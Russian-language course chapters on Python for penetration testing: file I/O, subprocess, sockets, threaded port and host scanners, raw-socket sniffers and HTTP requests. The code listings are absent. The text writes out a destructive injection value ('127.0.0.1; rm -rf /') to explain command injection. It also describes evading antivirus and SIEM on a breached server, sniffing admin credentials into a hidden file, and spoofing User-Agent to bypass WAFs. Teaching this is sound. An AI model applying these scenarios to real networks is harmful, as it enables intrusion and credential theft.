    Режимы работы с файлами

    Режим указывает интерпретатору, что именно вы собираетесь делать с файлом. Основные режимы обозначаются английскими буквами:

  • r (read) — чтение. Режим по умолчанию. Если файла нет, программа выдаст ошибку.
  • w (write) — запись. Если файл существует, он будет полностью стерт и перезаписан. Если файла нет, он будет создан.
  • a (append) — добавление. Данные дописываются в конец существующего файла (идеально для ведения логов сканирования).
  • Контекстный менеджер with

    Открытый файл занимает ресурсы операционной системы. Если файл не закрыть после использования, он может заблокироваться, или данные не сохранятся на жесткий диск. Чтобы не писать команду close() вручную и не бояться, что скрипт упадет с ошибкой до закрытия файла, в Python используется конструкция with (контекстный менеджер).

    В этом примере \n — это специальный символ переноса строки. Как только блок кода внутри with заканчивается (пропадает отступ), Python автоматически и безопасно закрывает файл targets.txt.

    Чтение больших файлов: проблема оперативной памяти

    Допустим, вы скачали словарь паролей для брутфорса размером 15 ГБ. Если вы попытаетесь прочитать его целиком одной командой file.read(), Python попытается загрузить все 15 ГБ в оперативную память вашего компьютера. Скорее всего, скрипт зависнет, а ОС принудительно завершит его работу из-за нехватки памяти.

    Правильный подход в пентесте — читать файлы построчно с помощью цикла for.

    При таком подходе в оперативной памяти одновременно находится только одна строка (один пароль). Вы можете обрабатывать файлы бесконечного размера, не перегружая компьютер.

    Навигация по системе: модуль os

    Чтобы скрипт мог ориентироваться в файловой системе, создавать папки для отчетов или искать скрытые файлы, используется встроенный модуль os (Operating System).

    !Схема взаимодействия Python-скрипта с операционной системой

    Где мы находимся и что вокруг?

    Когда вы запускаете скрипт, он работает в определенной директории (папке). Чтобы узнать текущий путь, используется функция os.getcwd() (Get Current Working Directory).

    Чтобы посмотреть содержимое папки, применяется os.listdir().

    Кроссплатформенность и пути к файлам

    Одна из главных проблем при написании хакерских утилит — разница между операционными системами. В Windows пути к файлам пишутся через обратный слеш (C:\Users\Admin\passwords.txt), а в Linux и macOS — через прямой (/home/admin/passwords.txt).

    Если вы жестко пропишете слеши в коде, ваш скрипт сломается при запуске на другой ОС. Для решения этой проблемы существует функция os.path.join(). Она берет названия папок и файлов и склеивает их правильным слешем в зависимости от того, на какой системе запущен скрипт.

    Поиск ценных данных (Reconnaissance)

    Давайте напишем скрипт, который имитирует действия вируса-шифровальщика или пентестера на этапе сбора данных. Скрипт проверит текущую папку и найдет все файлы с расширением .bak (резервные копии, в которых часто забывают пароли).

    > Модуль os предоставляет программистам мощные средства для работы с файловой системой, позволяя управлять файлами и каталогами прямо из программ на Python. > > kedu.ru

    Выполнение системных команд: модуль subprocess

    Чтение файлов — это пассивное действие. Но пентестеру нужно активно взаимодействовать с системой: запускать сетевые утилиты (например, ping или nmap), менять настройки сети или повышать свои привилегии.

    Для запуска внешних программ из Python используется модуль subprocess. Он позволяет вашему скрипту открыть невидимый терминал, ввести туда команду, дождаться ее выполнения и забрать результат в виде текста.

    Запуск команды и перехват вывода

    Самая полезная функция в этом модуле — subprocess.run().

    Допустим, мы хотим узнать, под каким пользователем работает наш скрипт. В Linux для этого есть команда whoami.

    Почему команды передаются списком?

    Обратите внимание, что мы передаем команду в виде списка ["whoami"], а не просто строкой "whoami". Если команда состоит из нескольких слов, каждое слово должно быть отдельным элементом списка.

    Например, команда ping -c 4 127.0.0.1 (отправить 4 пакета на локальный адрес) будет выглядеть так:

    Это сделано ради безопасности. Если передавать команду единой строкой, злоумышленник (или пользователь вашего скрипта) может использовать уязвимость Command Injection (Внедрение команд).

    Если ваш скрипт берет IP-адрес из ввода пользователя и подставляет его в строку "ping " + ip, пользователь может ввести 127.0.0.1; rm -rf /. Точка с запятой в Linux означает конец одной команды и начало следующей. В итоге скрипт сначала выполнит пинг, а затем безвозвратно удалит все файлы на сервере. Передача аргументов списком блокирует такую возможность, так как ОС воспринимает весь список как аргументы для одной программы ping.

    Математика автоматизации

    Зачем вообще писать скрипты для запуска команд, если можно вводить их в терминал руками? Давайте посчитаем эффективность.

    Допустим, вам нужно проверить доступность (пропинговать) 255 IP-адресов в локальной сети. Ручной ввод команды ping, ожидание ответа и запись результата в блокнот занимает около 5 секунд на один адрес.

    Время ручной работы =

    Где:

  • — количество адресов (255).
  • — время на один адрес (5 секунд).
  • Итого: секунд (более 21 минуты) монотонной, скучной работы.

    Python-скрипт с использованием subprocess выполнит эту же задачу в автоматическом режиме. А если добавить многопоточность (которую мы изучим позже), время сократится до нескольких секунд. Вы запускаете скрипт, идете пить кофе, а по возвращении получаете готовый файл со списком живых хостов.

    Собираем арсенал: Автоматический сканер сети

    Теперь объединим все изученные концепции: чтение файлов, работу с путями ОС, обработку исключений (из прошлой статьи) и запуск системных команд.

    Мы напишем утилиту, которая:

  • Читает список IP-адресов из файла targets.txt.
  • Создает папку scan_results (если ее нет).
  • Пингует каждый адрес с помощью subprocess.
  • Записывает доступные адреса в файл alive.txt внутри новой папки.
  • Этот скрипт — полноценный инструмент автоматизации. Он безопасно работает с файлами через with, учитывает разницу между Windows и Linux при формировании путей и параметров командной строки, а также корректно обрабатывает ситуации, когда нужных файлов нет или не хватает прав доступа.

    Научившись управлять файловой системой и запускать системные команды из Python, вы получаете полный контроль над машиной. В следующих статьях мы применим эти навыки для работы с сетью на более глубоком уровне: научимся перехватывать трафик и писать собственные сетевые сканеры без использования сторонних утилит вроде ping.

    5. Основы работы с сетью и сокетами

    Основы работы с сетью и сокетами

    В предыдущих материалах мы научились управлять операционной системой и читать локальные файлы. Однако настоящий пентест редко ограничивается одним компьютером. Суть хакинга — это взаимодействие систем: поиск уязвимого сервера на другом конце земного шара, перехват трафика в корпоративной сети или отправка вредоносной команды (пейлоада) на удаленную машину.

    Чтобы ваши скрипты могли «выходить в свет», необходимо понимать, как компьютеры общаются друг с другом. В этой теме мы разберем фундамент сетевого программирования на Python, научимся создавать собственные сетевые соединения и напишем инструменты, которые работают по сети без использования сторонних программ.

    Архитектура сети: Клиент, Сервер, IP и Порты

    Прежде чем писать код, необходимо разобраться в базовых правилах игры. Любое сетевое взаимодействие строится на ролях и адресах.

    Клиент-серверная модель

    В большинстве случаев в сети есть две стороны: * Сервер — программа, которая постоянно работает, «слушает» сеть и ждет, когда к ней обратятся. Сервер предоставляет ресурсы (отдает веб-страницы, принимает файлы, проверяет пароли). * Клиент — программа, которая инициирует соединение. Ваш браузер — это клиент. Ваш скрипт для брутфорса паролей — это тоже клиент.

    > Клиент-серверная архитектура — это модель взаимодействия, при которой одно устройство (клиент) запрашивает услугу или данные, а другое (сервер) обрабатывает этот запрос и возвращает результат.

    IP-адрес и Порт

    Чтобы клиент нашел сервер в огромной сети Интернет, ему нужны координаты.

    IP-адрес (Internet Protocol Address) — это уникальный идентификатор устройства в сети. Его можно сравнить с адресом многоквартирного дома. Например, 192.168.1.10 или 8.8.8.8.

    Однако на одном сервере (в одном «доме») может работать множество разных программ-серверов: веб-сайт, почта, база данных. Как клиенту обратиться к нужной программе? Для этого используются порты.

    Порт — это число от 0 до 65535, которое указывает на конкретную «квартиру» (программу) в этом доме.

    В IT существуют стандартизированные порты для популярных служб: * Порт 80 — обычный веб-трафик (HTTP). * Порт 443 — зашифрованный веб-трафик (HTTPS). * Порт 22 — удаленное управление сервером (SSH). * Порт 21 — передача файлов (FTP).

    Для пентестера связка IP:Порт — это главная цель. Если порт открыт, значит, за ним работает программа. Если в этой программе есть ошибка (уязвимость), через этот порт можно взломать весь сервер.

    Протоколы передачи данных: TCP против UDP

    Знать адрес недостаточно. Нужно понимать, как именно передавать данные. На транспортном уровне сети доминируют два протокола: TCP и UDP.

    TCP (Transmission Control Protocol)

    TCP — это протокол с гарантированной доставкой. Он работает как телефонный звонок.

    Прежде чем передать данные, клиент и сервер здороваются. Это называется тройное рукопожатие (Three-way handshake):

  • Клиент говорит: «Привет, я хочу подключиться» (отправляет пакет SYN).
  • Сервер отвечает: «Привет, я готов, подключайся» (отправляет пакет SYN-ACK).
  • Клиент подтверждает: «Отлично, начинаем» (отправляет пакет ACK).
  • Только после этого начинается передача данных. Если часть данных потеряется в пути, TCP автоматически запросит их снова. Этот протокол используется там, где важна точность: загрузка файлов, веб-страницы, удаленный доступ.

    !Сравнение протоколов TCP и UDP

    UDP (User Datagram Protocol)

    UDP — это протокол без установки соединения. Он работает как отправка бумажных писем или крик в толпе.

    Клиент просто берет данные и «выплевывает» их в сторону сервера. Он не проверяет, готов ли сервер их принять, и не ждет подтверждения доставки. Если пакет потерялся — ну и ладно.

    Зачем нужен такой ненадежный протокол? Ради скорости. UDP используется там, где задержки критичнее потери пары байтов: онлайн-игры, стриминг видео, голосовая связь, а также запросы к DNS-серверам.

    Для пентестера разница огромна. Сканировать TCP-порты легко: если сервер ответил на «рукопожатие», порт открыт. Сканировать UDP-порты крайне сложно: если вы отправили пакет и в ответ тишина, это может означать, что порт закрыт, а может — что сервер просто принял данные и не счел нужным отвечать.

    Сокеты — наш мост в сеть

    В Python (как и в большинстве языков программирования) для работы с сетью используется концепция сокетов (sockets).

    Сокет — это программный интерфейс, конечная точка соединения. Представьте себе розетку в стене. Сеть — это электричество, скрытое в проводах. Чтобы ваш скрипт (настольная лампа) получил доступ к сети, ему нужно воткнуть вилку (сокет) в розетку.

    В Python для этого есть встроенная библиотека socket.

    Создание TCP-клиента

    Давайте напишем скрипт, который подключается к серверу. Это основа для любого сетевого эксплойта.

    Обратите внимание на метод connect(). Он принимает кортеж (tuple) из двух элементов: IP-адреса в виде строки и порта в виде целого числа. Двойные скобки ((ip, port)) здесь обязательны.

    Практика: Пишем свой сканер портов

    В реальном пентесте часто возникает ситуация: вы проникли на сервер компании (например, через уязвимость на сайте) и получили доступ к командной строке. Вам нужно осмотреться и понять, какие еще компьютеры есть во внутренней сети и какие порты на них открыты.

    Вы не можете скачать туда популярный сканер Nmap, потому что антивирус сразу поднимет тревогу. Но на сервере установлен Python. Значит, мы можем написать свой сканер.

    Вместо метода connect(), который при неудаче вызывает жесткую ошибку (исключение) и останавливает скрипт, мы будем использовать метод connect_ex().

    Метод connect_ex() пытается подключиться к порту и возвращает числовой код результата: * Если вернулся 0 — соединение успешно, порт открыт. * Если вернулось любое другое число (код ошибки) — порт закрыт или заблокирован файрволом.

    Математика таймаутов

    Зачем мы добавили строку sock.settimeout(1)?

    По умолчанию сокет в Python работает в блокирующем режиме. Если пакет потерялся или файрвол молча уничтожил наш запрос, скрипт будет ждать ответа от операционной системы. В Windows это ожидание может длиться до 21 секунды на один порт.

    Давайте посчитаем время сканирования без таймаута по формуле:

    Где: * — общее время сканирования. * — количество портов (допустим, мы сканируем все 65535 портов). * — время ожидания ответа (21 секунда).

    секунд. Это почти 16 дней на сканирование одного компьютера!

    Установив settimeout(1), мы сокращаем максимальное время ожидания до 1 секунды на порт. Сканирование 100 популярных портов займет не более 100 секунд. В будущем мы изучим многопоточность, которая позволит проверять сотни портов одновременно, сократив время до пары секунд.

    Взаимодействие со службами: Banner Grabbing

    Найти открытый порт — это только половина дела. Порт 22 открыт, отлично. Но что именно там работает? Какая версия программы?

    Уязвимости привязаны к конкретным версиям софта. Если там работает OpenSSH 4.7, мы можем найти для него готовый эксплойт. Если OpenSSH 8.9 — он, скорее всего, безопасен.

    Процесс получения информации о версии службы называется Banner Grabbing (Захват баннера). Многие сетевые службы при первом подключении к ним «вежливо» отправляют приветственное сообщение (баннер), в котором раскрывают свое название и версию.

    Чтобы получить это сообщение, нам нужно не только подключиться, но и прочитать данные из сокета с помощью метода recv() (receive — получить).

    Строки против Байтов

    Здесь новички часто совершают ошибку. По сети нельзя передавать обычный текст (строки типа str в Python). По сети передаются только сырые байты (тип bytes).

    * Чтобы отправить текст в сеть, его нужно закодировать: "Привет".encode() * Чтобы прочитать ответ из сети и вывести на экран, его нужно раскодировать: data.decode()

    Напишем скрипт для захвата баннера:

    Если скрипт отработает успешно на порту 22, вы увидите что-то вроде: [+] Баннер получен: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.

    Это джекпот для пентестера. Теперь вы точно знаете ОС (Ubuntu) и версию сервиса. Дальше остается только открыть базу данных уязвимостей (например, Exploit-DB) и найти подходящий инструмент для атаки.

    Освоив модуль socket, вы получаете возможность общаться с любым устройством в сети на самом низком уровне. Вы больше не ограничены функционалом готовых программ. В следующих материалах мы поднимемся на уровень выше и научимся работать с веб-трафиком, парсить HTML-страницы и автоматизировать сбор информации из открытых источников.

    6. Создание сетевых сканеров портов и хостов

    Создание сетевых сканеров портов и хостов

    В арсенале любого специалиста по информационной безопасности есть утилиты для сканирования сети, такие как Nmap или Masscan. Они мощные, быстрые и умеют обходить средства защиты. Возникает логичный вопрос: зачем писать собственный сканер на Python, если уже существуют готовые профессиональные инструменты?

    В реальном пентесте часто возникают ситуации, когда использование стороннего ПО невозможно или нецелесообразно: Отсутствие прав и инструментов: Вы получили доступ к серверу (например, через уязвимость веб-приложения), но на нём нет Nmap*, а скачивать его нельзя — антивирус или система мониторинга (EDR) немедленно поднимет тревогу. * Специфичные задачи: Вам нужно не просто найти открытый порт, но и сразу отправить туда специфичный пейлоад (полезную нагрузку) или интегрировать результаты сканирования в корпоративный мессенджер. Ограничения среды: В контейнерах Docker* или урезанных Linux-системах часто есть только интерпретатор Python.

    Умение создавать собственные сетевые инструменты — это то, что отличает инженера от оператора чужих программ.

    Проблема скорости: почему один поток — это медленно

    В предыдущих материалах мы рассматривали базовый скрипт, который в цикле перебирает порты и пытается к ним подключиться с помощью метода connect_ex(). Этот метод называется TCP Connect Scan.

    Главный недостаток такого подхода — последовательное выполнение. Скрипт берет первый порт, отправляет запрос, ждет ответа (или срабатывания таймаута), и только потом переходит ко второму порту.

    Давайте рассчитаем время сканирования по формуле:

    Где: * — общее время сканирования в секундах. * — количество сканируемых портов. * — время ожидания ответа (таймаут).

    Если мы сканируем все 65 535 портов с таймаутом в 0.5 секунды, то секунд, что составляет более 9 часов на один компьютер. В корпоративной сети могут быть тысячи компьютеров. Последовательное сканирование здесь абсолютно неприменимо.

    !Сравнение последовательного и параллельного сканирования

    Многопоточность: ускоряем работу в сотни раз

    Чтобы решить проблему скорости, необходимо выполнять проверки параллельно. Пока один запрос ждет ответа от сервера, скрипт должен отправлять следующие запросы.

    В Python для этого используется многопоточность (Multithreading). Поток — это отдельная линия выполнения кода. Представьте, что вместо одного рабочего, который проверяет двери в здании по очереди, вы наняли бригаду из 100 человек, и каждый проверяет свою дверь одновременно.

    Для удобной работы с потоками в Python существует встроенный модуль concurrent.futures и его класс ThreadPoolExecutor.

    Создание многопоточного сканера

    Напишем быстрый сканер портов. Мы выделим логику проверки одного порта в отдельную функцию, а затем заставим ThreadPoolExecutor запускать эту функцию в сотнях параллельных потоков.

    В этом коде параметр max_workers определяет максимальное количество одновременно работающих потоков.

    > Важное правило: больше — не всегда лучше. Если установить max_workers=10000, операционная система может не справиться с таким количеством одновременно открытых сетевых соединений (сокетов), и скрипт начнет выдавать ложные результаты или вовсе упадет с ошибкой Too many open files.

    !Интерактивная визуализация многопоточного сканирования

    Обнаружение хостов (Ping Sweep)

    До сих пор мы сканировали порты на одном конкретном IP-адресе. Но когда пентестер попадает в новую сеть, он не знает, какие IP-адреса заняты компьютерами, а какие свободны.

    Процесс поиска активных устройств в сети называется Host Discovery (Обнаружение хостов).

    Сети делятся на подсети. Для их обозначения используется бесклассовая адресация (CIDR), например: 192.168.1.0/24. Число после слеша означает размер маски подсети. В случае /24 это означает, что в сети может находиться 256 адресов (от 192.168.1.0 до 192.168.1.255).

    Чтобы не писать сложные математические алгоритмы для вычисления IP-адресов из подсети, в Python есть встроенный модуль ipaddress.

    Как проверить, жив ли хост?

    Самый простой способ — отправить ICMP-запрос (обычный ping). Однако для создания ICMP-пакетов в Python требуются права администратора (root) и использование так называемых "сырых сокетов" (raw sockets).

    Чтобы наш скрипт работал везде и без прав администратора, мы применим хитрость: вместо пинга мы попытаемся подключиться к самым популярным портам (например, 80 — HTTP, 443 — HTTPS, 445 — SMB, 22 — SSH). Если хотя бы один порт ответит, значит, компьютер включен.

    Метод executor.map()

    Обратите внимание на конструкцию executor.map(is_host_alive, ips). Это более элегантный способ работы с потоками, чем цикл с executor.submit(), который мы использовали ранее.

    Метод map берет функцию (is_host_alive) и применяет ее к каждому элементу списка (ips), автоматически распределяя задачи между потоками. Он возвращает результаты в том же порядке, в котором были переданы IP-адреса.

    Объединение инструментов: Комбайн пентестера

    Теперь у нас есть два мощных компонента:

  • Быстрый поиск активных компьютеров в подсети.
  • Многопоточный сканер портов.
  • В реальной разработке утилит эти функции объединяют. Логика работы профессионального сканера выглядит так:

  • Пользователь передает подсеть (например, 10.0.0.0/24).
  • Скрипт выполняет Host Discovery и отбрасывает "мертвые" IP-адреса. Это экономит колоссальное количество времени, так как нам не нужно сканировать 65 тысяч портов на выключенных компьютерах.
  • Для каждого найденного "живого" IP-адреса запускается глубокое сканирование портов.
  • Если порт открыт, скрипт пытается получить баннер (Banner Grabbing), чтобы определить версию запущенной службы.
  • Такой подход позволяет за считанные минуты получить полную карту сети, выявить уязвимые версии программного обеспечения и подготовить плацдарм для дальнейшей эксплуатации (отправки эксплойтов).

    Разработка собственных инструментов на Python дает пентестеру гибкость. Вы можете добавить в свой сканер функцию автоматической отправки результатов в Telegram-бота, сохранение отчетов в формате JSON для передачи в другие программы или внедрить специфичные проверки (например, поиск открытых баз данных Redis без пароля). В следующих материалах мы перейдем к прикладному уровню и научимся взаимодействовать с веб-серверами и API.

    7. Анализ сетевого трафика и создание снифферов

    Анализ сетевого трафика и создание снифферов

    В предыдущих материалах мы научились находить активные компьютеры в сети и сканировать их порты. Это похоже на то, как грабитель дергает ручки дверей, проверяя, какие из них открыты. Но что, если мы хотим не просто найти открытую дверь, а подслушать, о чем говорят люди внутри комнаты? В мире информационной безопасности этот процесс называется сниффингом (sniffing), а программы, которые его выполняют — снифферами.

    Сниффер — это программный или аппаратный инструмент для перехвата и анализа сетевого трафика. Профессиональные пентестеры используют снифферы, чтобы перехватывать пароли, передаваемые в открытом виде, изучать логику работы неизвестных сетевых протоколов и находить скрытые устройства в корпоративной сети.

    Как данные путешествуют по сети: анатомия пакета

    Чтобы понять, как работает сниффер, нужно разобраться, как компьютеры обмениваются информацией. Данные в сети не передаются сплошным потоком. Они разбиваются на небольшие фрагменты, которые называются сетевыми пакетами.

    Представьте работу обычной почты. Вы не можете отправить целый дом по почте. Вы разбираете его на кирпичи, кладете каждый кирпич в отдельную коробку, пишете на коробке адрес отправителя и адрес получателя, а затем отдаете курьеру.

    Сетевой пакет устроен точно так же. Он состоит из двух главных частей:

  • Заголовок (Header) — служебная информация. Здесь указаны IP-адрес отправителя, IP-адрес получателя, порты, тип протокола и длина пакета. Это «конверт» с адресами.
  • Полезная нагрузка (Payload) — сами данные. Это может быть фрагмент HTML-страницы, часть отправляемой фотографии или пароль от базы данных. Это «письмо» внутри конверта.
  • Когда ваш компьютер подключен к сети (например, к офисному Wi-Fi или через кабель к коммутатору), через его сетевую карту проходят тысячи пакетов каждую секунду.

    Неразборчивый режим (Promiscuous Mode)

    По умолчанию сетевая карта компьютера работает как очень ответственный секретарь. Она просматривает заголовки всех пролетающих мимо пакетов и задает один вопрос: «Этот пакет адресован моему IP-адресу?». * Если ответ «Да», секретарь передает пакет операционной системе. * Если ответ «Нет» (пакет летит от компьютера бухгалтера к серверу), секретарь мгновенно отбрасывает его. Вы его никогда не увидите.

    Чтобы создать сниффер, нам нужно уволить этого секретаря. Мы должны перевести сетевую карту в неразборчивый режим (Promiscuous mode). В этом режиме сетевая карта захватывает абсолютно все пакеты, которые физически до нее долетают, независимо от того, кому они адресованы.

    > Важное правило: Для перевода сетевой карты в неразборчивый режим и чтения сырых пакетов скрипту на Python всегда требуются права администратора (root в Linux или Запуск от имени администратора в Windows).

    !Схема перехвата сетевого трафика в неразборчивом режиме

    Активный и пассивный сниффинг

    В зависимости от архитектуры сети, перехват трафика делится на две категории.

    Пассивный сниффинг применяется в сетях, где данные физически рассылаются всем участникам. Например, при использовании старых сетевых концентраторов (Hub) или в открытых Wi-Fi сетях без шифрования. В этом случае пентестеру достаточно просто включить Promiscuous mode и молча записывать всё, что пролетает по воздуху или кабелю. Вы никак не выдаете своего присутствия.

    Активный сниффинг необходим в современных сетях, построенных на коммутаторах (Switch). Коммутатор — умное устройство. Он знает, на каком порту находится какой компьютер, и отправляет пакеты строго по назначению. Если вы просто включите сниффер, вы увидите только свой собственный трафик. Чтобы перехватить чужие данные, пентестеры используют активные атаки (например, ARP Spoofing), обманывая коммутатор и заставляя его пересылать чужой трафик через компьютер атакующего.

    В рамках этой статьи мы сфокусируемся на создании самого механизма перехвата и разбора пакетов, который является основой для обоих методов.

    Сырые сокеты (Raw Sockets) в Python

    В предыдущих статьях мы создавали стандартные TCP-сокеты (socket.SOCK_STREAM). Когда вы используете такой сокет, операционная система делает за вас всю грязную работу: она сама собирает пакеты, проверяет их целостность, отрезает заголовки и выдает вашему скрипту только чистую полезную нагрузку (например, текст HTML-страницы).

    Для сниффера нам нужен доступ к «сырым» данным — вместе со всеми заголовками. Для этого используются сырые сокеты (Raw Sockets).

    Создадим базовый слушатель на Python. Обратите внимание: реализация сырых сокетов сильно зависит от операционной системы. Приведенный ниже код предназначен для Linux-систем, которые являются стандартом де-факто для пентеста (например, Kali Linux).

    Если вы запустите этот скрипт, он начнет бесконечно выводить сообщения о перехваченных пакетах. Но сами данные (raw_data) выглядят как b'E\x00\x00T\x12\x34\x00\x00...'. Это бинарные данные. Компьютер понимает их отлично, а человек — нет.

    Искусство распаковки: модуль struct

    Чтобы извлечь из бинарной мешанины полезную информацию (IP-адреса, порты), нам нужно знать структуру пакета и уметь разрезать его на правильные куски.

    В Python для преобразования бинарных данных в понятные числа и строки используется встроенный модуль struct. Главная функция этого модуля — struct.unpack(format, buffer).

    * buffer — это кусок сырых байтов, который мы хотим расшифровать. * format — это строка, которая говорит Питону, как именно читать эти байты.

    Как читать форматы struct

    В строке формата используются специальные символы. Вот самые важные для сетевого программирования: ! — означает сетевой порядок байтов (Big-Endian*). Сети всегда передают данные в этом порядке, поэтому этот символ всегда ставится в начале. * B — один байт (целое число от 0 до 255). * H — два байта (целое число от 0 до 65535, отлично подходит для портов). * s — строка байтов (например, 4s означает 4 байта подряд, отлично подходит для IP-адресов).

    Давайте разберем на бытовом примере. Представьте, что вам прислали зашифрованную посылку из 4 байт: b'\x01\x00\x50\x41'. Вы знаете спецификацию: первый байт — это номер отдела, следующие два байта — номер кабинета, последний байт — код доступа.

    Формат для распаковки будет выглядеть так: ! B H B (1 байт, 2 байта, 1 байт).

    Разбор IP-заголовка

    Теперь применим эти знания к реальному сетевому пакету. Когда пакет приходит на сетевую карту, первые 14 байт — это заголовок Ethernet (MAC-адреса). Сразу после него (начиная с 15-го байта) идет IP-заголовок.

    Стандартный IP-заголовок имеет длину 20 байт. В нем зашифровано множество параметров, но для базового анализа нам интересны три:

  • Протокол (TCP, UDP или ICMP) — находится в 10-м байте заголовка.
  • IP-адрес отправителя — находится в байтах с 13 по 16.
  • IP-адрес получателя — находится в байтах с 17 по 20.
  • !Интерактивный визуализатор структуры сетевого пакета

    Напишем функцию, которая отрезает первые 14 байт (Ethernet), берет следующие 20 байт (IP-заголовок) и распаковывает их.

    В этом коде мы использовали математическую логику для извлечения данных. IP-адрес состоит из 4 октетов (чисел от 0 до 255). В бинарном виде это ровно 4 байта. Функция map(str, addr) берет каждый из этих четырех байтов, превращает его в строку, а '.'.join() соединяет их точками, формируя привычный нам вид: 192.168.1.5.

    Собираем полноценный анализатор трафика

    Теперь объединим перехват пакетов и их распаковку в единый инструмент. Мы добавим фильтрацию: пусть наш сниффер выводит на экран только TCP-трафик, так как именно по протоколу TCP передаются самые интересные данные (HTTP-запросы, пароли FTP, сообщения в мессенджерах).

    В этом скрипте мы применили продвинутый трюк с модулем struct. Вместо того чтобы распаковывать все 20 байт и сохранять их в переменные, мы использовали символ x в строке формата (9x). Он означает «пропустить байт». Это делает код чище и заставляет его работать быстрее, что критически важно, когда вы анализируете тысячи пакетов в секунду.

    Практическое применение в пентесте

    Зачем писать свой сниффер, если есть мощный Wireshark?

    Представьте ситуацию: вы успешно проэксплуатировали уязвимость на веб-сервере компании и получили доступ к консоли (Shell). Сервер работает на Linux без графического интерфейса. Вы не можете запустить там Wireshark. Вы не можете установить сторонние утилиты, так как система мониторинга (SIEM) сразу заметит установку новых пакетов.

    Но на сервере установлен Python. Вы за пару минут пишете скрипт-сниффер из 30 строк, запускаете его в фоне и настраиваете фильтр на поиск слова password или Authorization: Bearer в полезной нагрузке пакетов. Скрипт тихо собирает учетные данные администраторов, которые заходят на соседние серверы в этой же подсети, и сохраняет их в скрытый текстовый файл. Это классический пример автоматизации пост-эксплуатации.

    В следующих материалах мы поднимемся на уровень выше и научимся не просто пассивно слушать трафик, но и активно взаимодействовать с веб-серверами, отправлять HTTP-запросы и создавать инструменты для автоматического поиска уязвимостей в веб-приложениях.

    8. Работа с HTTP-запросами и веб-серверами

    Работа с HTTP-запросами и веб-серверами

    В предыдущих материалах мы опускались на самый низкий уровень сетевого взаимодействия: перехватывали сырые байты, анализировали заголовки пакетов и работали с сокетами. Это фундамент, без которого невозможно понять, как работают сети. Однако в реальной работе пентестера большую часть времени занимает анализ веб-приложений.

    Сайты, интернет-магазины, корпоративные порталы и мобильные приложения — все они общаются с серверами на одном языке. Этот язык называется HTTP. Сегодня мы научимся говорить на этом языке с помощью Python, чтобы автоматизировать поиск скрытых файлов, обходить базовые защиты и тестировать формы входа на прочность.

    Архитектура Клиент-Сервер и протокол HTTP

    Представьте, что вы пришли в ресторан. Вы (клиент) не идете на кухню, чтобы приготовить еду самостоятельно. Вы берете меню, выбираете блюдо и отдаете заказ официанту. Официант относит заказ на кухню (сервер), повара готовят еду, и официант приносит вам готовое блюдо.

    В мире интернета всё работает точно так же. Эта модель называется клиент-серверной архитектурой.

    * Клиент — это ваш браузер (Chrome, Safari) или скрипт на Python. Он формирует заказ. * Сервер — это мощный компьютер где-то в дата-центре, на котором хранятся файлы сайта и базы данных. Он обрабатывает заказ. HTTP (HyperText Transfer Protocol*) — это тот самый «официант», набор строгих правил, по которым клиент и сервер обмениваются текстовыми сообщениями.

    Важно понимать: HTTP — это текстовый протокол. Под капотом это просто длинные строки текста, которые передаются по уже знакомому нам протоколу TCP (обычно на порт 80 для обычного HTTP или 443 для зашифрованного HTTPS).

    Анатомия HTTP-запроса

    Когда вы вводите адрес сайта в браузере и нажимаете Enter, ваш браузер незаметно для вас формирует текстовое сообщение и отправляет его на сервер. Это сообщение называется HTTP-запросом.

    Любой запрос состоит из трех главных частей:

  • Стартовая строка — содержит метод, путь к странице и версию протокола.
  • Заголовки (Headers) — служебная информация (какой у вас браузер, какой язык вы предпочитаете).
  • Тело (Body) — сами данные (например, логин и пароль). В некоторых запросах тело отсутствует.
  • HTTP-методы: глаголы интернета

    Метод в стартовой строке указывает серверу, что именно мы хотим сделать. В пентесте чаще всего используются два метода:

    * GET — «Дай мне». Используется для получения данных. Когда вы открываете главную страницу сайта или скачиваете картинку, ваш браузер отправляет GET-запрос. Тело в таком запросе обычно пустое. * POST — «Возьми и обработай». Используется для отправки данных на сервер. Когда вы заполняете форму регистрации, вводите данные банковской карты или загружаете фотографию, используется POST-запрос. Данные передаются в теле запроса.

    Существуют и другие методы (PUT для обновления, DELETE для удаления), но они чаще встречаются при тестировании специализированных API, о которых мы поговорим в следующих статьях.

    !Схема взаимодействия клиента и сервера по протоколу HTTP

    Анатомия HTTP-ответа и Статус-коды

    Получив запрос, сервер обрабатывает его и присылает HTTP-ответ. Он имеет похожую структуру: стартовая строка, заголовки и тело (например, сам HTML-код страницы).

    Самое важное для нас в ответе — это код состояния (Status Code). Это трехзначное число в стартовой строке ответа, которое сообщает, как прошла операция. Коды делятся на пять классов:

    * 1xx (Информационные) — запрос принят, процесс продолжается. Встречаются редко. * 2xx (Успех) — сервер успешно обработал запрос. Самый частый код — 200 OK (страница найдена и отправлена). * 3xx (Перенаправление) — ресурс перемещен. Например, 301 Moved Permanently означает, что страница переехала на другой адрес, и сервер подсказывает, куда именно. * 4xx (Ошибка клиента) — вы сделали что-то не так. * 404 Not Found — вы запросили страницу, которой не существует. * 403 Forbidden — страница существует, но у вас нет прав для ее просмотра (очень интересный код для хакера!). * 5xx (Ошибка сервера) — сервер сломался при попытке обработать ваш запрос. Например, 500 Internal Server Error часто возникает, если хакер отправил неожиданные данные, которые вызвали сбой в логике сайта.

    !Интерактивный конструктор HTTP-запросов

    Библиотека requests: ваш главный инструмент

    Мы могли бы формировать HTTP-запросы вручную, склеивая строки и отправляя их через сырые сокеты, как делали это в сканере портов. Но это долго, неудобно и чревато ошибками.

    В Python существует стандарт де-факто для работы с вебом — сторонняя библиотека requests. Она берет на себя всю рутину: установку TCP-соединения, правильное форматирование текста, обработку перенаправлений и распаковку ответов.

    Поскольку это сторонняя библиотека, ее нужно установить через терминал (командную строку):

    Первый GET-запрос

    Напишем простой скрипт, который обращается к тестовому сайту и выводит информацию об ответе.

    Обратите внимание на блок try...except. При работе с сетью сервер может быть выключен, или у вас может пропасть интернет. Обработка исключения ConnectionError предотвращает аварийное завершение скрипта.

    Манипуляция заголовками: обход базовой защиты

    Когда вы заходите на сайт через браузер, он автоматически добавляет в запрос заголовок User-Agent. Этот заголовок сообщает серверу, кто к нему пришел. Например: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...

    Когда вы отправляете запрос через скрипт, библиотека requests честно представляется: User-Agent: python-requests/2.31.0

    Многие администраторы настраивают системы защиты (WAF — Web Application Firewall) так, чтобы они блокировали любые запросы, в которых User-Agent содержит слово «python» или «nmap». Зачем пускать автоматизированные скрипты, если сайт предназначен для людей?

